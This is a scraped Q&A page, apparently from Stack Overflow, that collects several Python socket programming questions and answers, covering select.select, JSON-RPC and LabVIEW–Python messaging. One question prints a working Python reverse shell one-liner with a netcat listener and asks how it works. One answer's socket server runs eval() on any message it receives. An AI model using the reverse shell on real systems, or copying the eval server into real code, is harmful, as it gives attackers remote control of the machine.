Python request object return through socket - python

My setup is as follows:
Python 2.6 (embedded in commercial app) uses subprocess to launch an external script in (external) python 2.7.
The external script then uses the socket module to send python commands back to embedded python.
The socket is initialized with the following code:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
And I send commands using:
self.sock.send("print ('hello, world!')")
This is working quite well at the moment. I am able to send all the commands I want, and control the program nicely.
My question: how can I request to be sent information back through the socket?
I need to ask the program to give me a list of strings, for example. But I have a hard time grasping how the embedded python would send any data back through my open socket?
Thanks!

You can always have a bidirectional socket communication.
When the external python send something, always send in a tuple where one of the arguments can specify that you are asking for something.
Let me give an example,
Setup a bidirectional socket communication (Simple client-server model- synchronous or asynchronous depends on what your project/app requires.)
2.7 sends a tuple like this -
(<command>, 1)
The 1 indicating that you want the output of the command that you sent ( which you said is working, would be sent back to 2.7.
So, when 2.6 receives the tuple, the 0th position of the tuple always represents the command it is trying to send, and the 1st position represents the send back argument.
Using a simple if-else condition, you can check if it is 1, then send back the result to 2.7 - otherwise not.
Fairly simple logic.

Related

How does a Python reverse shell one-liner work?

Consider:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
So this is a Python reverse shell one-liner and can be found easily just by googling it. To better understanding this, let's write it in multi-line:
1# import socket,subprocess,os
2# s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3# s.connect(("10.0.0.1",1234))
4# os.dup2(s.fileno(),0)
5# os.dup2(s.fileno(),1)
6# os.dup2(s.fileno(),2)
7# p=subprocess.call(["/bin/sh","-i"])
Most parts of this is pretty easy to understand. In the first line, we import necessary modules. In the second line we make a socket object using the IPv4 family and TCP protocol. Line Three is where we connect to our server (attacker machine) and in line 4, 5, and 6, we duplicate the socket file descriptor as 0 (standard input), 1 (standard output), and 2 (standard error) (I can be wrong here). In the end, we start the bin/sh shell in interactive mode.
This is working fine. All we need is just to change the IP address and port to connect, and in the other end (server) we need to listen for an incoming connection and it can be done easily using netcat:
nc -nlvp 1234
I just don't understand after establishing the reverse shell, how this client machine (the machine that we run the Python reverse shell one-liner on it) can send the output of commands that it received from the server. I mean, there aren’t any send() or recv() method.
I tried to write a server myself using Python, but it does not work properly and I can't receive the output of my commands.
(But here's a Python reverse shell that I have been coded, and it works fine: https://github.com/ramixix/Python_Reverse_Shell.git. I’d be happy if you check it out.)
How does it work and how can I write a server for it?

How to use select.select Python

I'm currently making a guessing game in Python and I'm trying to use select.select to allow multiple clients to connect to my server but I cannot wrap my head around how to use select.select. I've look all over the internet but all the tutorials I've come across are for chat servers which I can't seem to relate to.
I was just wondering how I'd let multiple clients connect to my server through select.select. And also how would I send/receive data to/from individual clients using select.select
I've look all over the internet but all the tutorials I've come across
are for chat servers which I can't seem to relate to.
There's no difference between a chat server and game server regarding the use of select.select.
I was just wondering how I'd let multiple clients connect to my server
through select.select.
You'd pass the server socket (which you called listen on) in the rlist argument to select; if after return from select the server socket is in the first list (the objects that are ready for reading) of the returned triple of lists, you'd call accept on the server socket and thus get the new client socket, which you'd append to the rlist in subsequent select calls.
And also how would I send/receive data to/from individual clients
using select.select
If after return from select a client socket is in the first list (the objects that are ready for reading) of the returned triple of lists, you'd receive data by calling recv on that client socket.
You don't need to use select for writing; you'd just send data by calling send.
See the question "Handle multiple requests with select" for an example server.

Python JSON-RPC_2.0 TCP Server Client Explained

I'm having a difficult time fully understanding the nature of a TCP server/client relationship when a JSON string is sent to the server. The information I need may be out there, but I'm perhpas not using the correct search paramaters as I'm looking.
I've built a Python TCP, JSON-RPC Server from the following examples:
https://github.com/joshmarshall/jsonrpclib
http://code.activestate.com/recipes/552751-json-rpc-server-and-client/
In both cases, I can communicate with the Python server from a Python console on a different computer, sending commands from one (the client) to the other (server). In all of the examples, I've had to install the libraries mentioned above on both the client and the server machines in order to facilitate the TCP communication.
So the background to my situation and question is, when does JSON enter the mix? This is what I want to do:
Setup a Python TCP server that accepts a JSON string from a remote client inside (or outside) the network. The server parses the JSON string, fetches the method and parameters from the objectified string, and executes the method. The server then sends a JSON string result to the calling client. In this case, the client is a mobile application (iPad, Android, etc) with a JavaScript library that I'll use to send the requests to the server.
Why would I need a Python client? From what I can gather, the client just needs to open a connection to the server and then send the JSON string, right? Why do all the code samples include Python client examples? Are they assuming a server machine is going to talk to a server machine, so they have included client code to help generate the JSON string that will be sent to the server?
If I assume that a Python client isn't really needed for anything, I've been sending JSON strings to the Python server from the iPad, but in each case the server is reporting a "Bad request syntax" error. I'll pen a new question on that issue if I'm understanding the current question correctly.
Insight is appreciated.
The JSON encoding is the lingua franca of your RPC protocol, so you can indeed use any client you like. The implementations you found for JSON-RPC use the HTTP protocol, a very specific communication protocol built on top of TCP/IP, but you can implement the same protocol over raw TCP-IP sockets if so required.
The examples include both the Python client and the server because they illustrate how to implement the JSON-RPC standard in Python, not in JavaScript or C or Lisp. They focus on the implementation in one language. The JSON-RPC standard however, is language agnostic. It doesn't matter what language you write either the server or the client in, as long as they use the same standard.

send data from LabView to Python and get back

How do I send data from LabView to Python and get a result back?
One other solution is using the smart messaging library ZeroMQ, which comes with a lot of bindings, almost for all major languages.
For the Python/Labview case there is a nice demo project on sourceforge:
Python-LabVIEW Communication
Client-side ~LabVIEW
+
Server-side part (example)
#-----------------------------------------# INFRASTRUCTURE for communication
context = zmq.Context() # I/O-DAEMON CONTEXT
socket = context.socket(zmq.REP) # ARCHETYPE for a Smart Messaging
socket.bind( "tcp://127.0.0.1:5555" ) # PORT ready for LabView to .connect()
#-----------------------------------------# TRANSPORT-CLASS-es {ipc|tcp|+..}
while True: # LOOP & WAIT FOR REQ-calls
# # Wait for request from client
message = socket.recv()
print("Received request: %s" % message )
try:
r = eval( message )
print(r )
socket.send(bytearray(str( r ),
'utf-8' )) # send returned value as bytearry to client
except NameError:
socket.send( b"Unknown command" )
except:
socket.send( b"Unknown error" )
LabView allows you to write extensions in several languages, the primary technique these days is to use a network connection. Native language toolkits that run inside the labview process itself are avoided.
It seems there is a Python Labview toolkit here but it no longer works.
Use a socket server and socket client to talk between Labview and python. (Most cross-platform solution, and now you don't have to have your python and labview running on the same PC, or in the same process).
Unfortunately a sample is beyond me at the moment as I don't have labview installed, but I have done ole automation based integrations from LabView to dozens of apps in two or three languages, but that was many years ago. These days I would use the network socket technique.
LabVIEW 2018 now offers a "native" solution to calling Python code from LabVIEW with "sending data" back and forth:
The Connectivity palette includes the new Python subpalette, which you can use to call Python code from LabVIEW code. The Python palette includes the following functions:
Open Python Session — Opens a Python session with a specific version of Python.
Python Node — Calls a Python function directly.
Close Python Session — Closes a Python session.
Note You must install Python 2.7 or 3.6 to use the LabVIEW Python functions.
Although unsupported versions might work with the LabVIEW Python functions, NI recommends using supported versions of Python only.
Reference: LabVIEW 2018 Features and Changes
The Python Node is provided with the module path, function name, input parameters, and the expected data type of the return value. These inputs and output support a number of basic data types: numerics, (multi-dimensional) arrays, strings, clusters; with automatic conversion to corresponding data types, i.e. LabVIEW arrays are converted to Python lists, and clusters to tuples (and vice versa for the return value).
I was using stdio communication with a Python process for a while and recently noticed Python for .Net ( http://pythonnet.github.io/ ) which works for me.
Just copy the .dll in your LabVIEW project, create .Net constructors, and using the LabVIEW .Net you can quickly figure out how to use this library, which basically provides you with the unmanaged Python shared library, wrapped with .Net goodness.
Server side with Python
import socket
server = socket.socket(2,1)
server.bind(('localhost',2000))
server.listen(1)
while True :
(conn,addr) = server.accept()
command = conn.recv(4)
print (command)
if 'INIT' in str(command):
conn.sendall(b'INIT-DONE')
elif 'PLAY' in str(command):
conn.sendall(b'PLAY-DONE')
elif 'QUIT' in str(command):
conn.sendall(b'QUIT-DONE')
break
server.close()
Labview Client Side
There is a new Python/LabVIEW connector out, built mostly by yours truly, called TestScript. It's a free, source-released Python/LabVIEW connector that is fully bidirectional. You can control LabVIEW from within a Python script, and you can call Python scripts from LabVIEW. It ships with several examples illustrating how you can send data from LabVIEW to Python and get a result back. In particular, the Simple Scripting Example - Add on Python Side.vi shows how TestScript accomplishes what you need.
Enjoy!
Python-LabVIEW-Interface (PyLVi) is an open-source project based on the ZeroMQ library to call Python functions and read the results back to LabVIEW.
It supports call of class methods and properties, and can handle structured datatypes (e.g. Python dictionaries are mapped to LabVIEW clusters) as well as numpy arrays.
You can try this: https://forums.ni.com/t5/LabVIEW-APIs-Documents/Open-Python-Interface/ta-p/3612981
Its an Open Python Interface toolkit for LabVIEW.
Here is a good quick solution but kind of unelegant. Just use a text file that both labview and python can read/write from. Labview writes commands to text file and python waits until a command is read or vice versa. you can have a read text file and a write text file at the same time. However this is a slower solution as it takes time to read and write.

Web Proxy to Simulate Network Problems

I need a way to simulate connectivity problems in an automated test suite, on Linux, and preferably from Python. Some sort of proxy that I can put in front of the web server that can hang or drop connections after one trigger or another (after X bytes transferred, etc) would be perfect.
It doesn't seem too hard to build, but I'd rather grab something pre-existing, if anyone has any good recommendations.
when i needed one, i found that building it yourself is the best thing..
start by raising a threaded server in python http://docs.python.org/dev/library/socketserver.html (you don't have to use the class itself).
and it's very simple:
in the new connection thread, you create a new socket and connects it to the real server.
then, you put both of them in a list and sends it to select.select (import select).
then, when socket x receive data - sends it to y. when socket y receives data sends it to x. (don't forget to close the socket when you receive empty string).
now you can do whatever you want..
if you need anything, i'm here..

Categories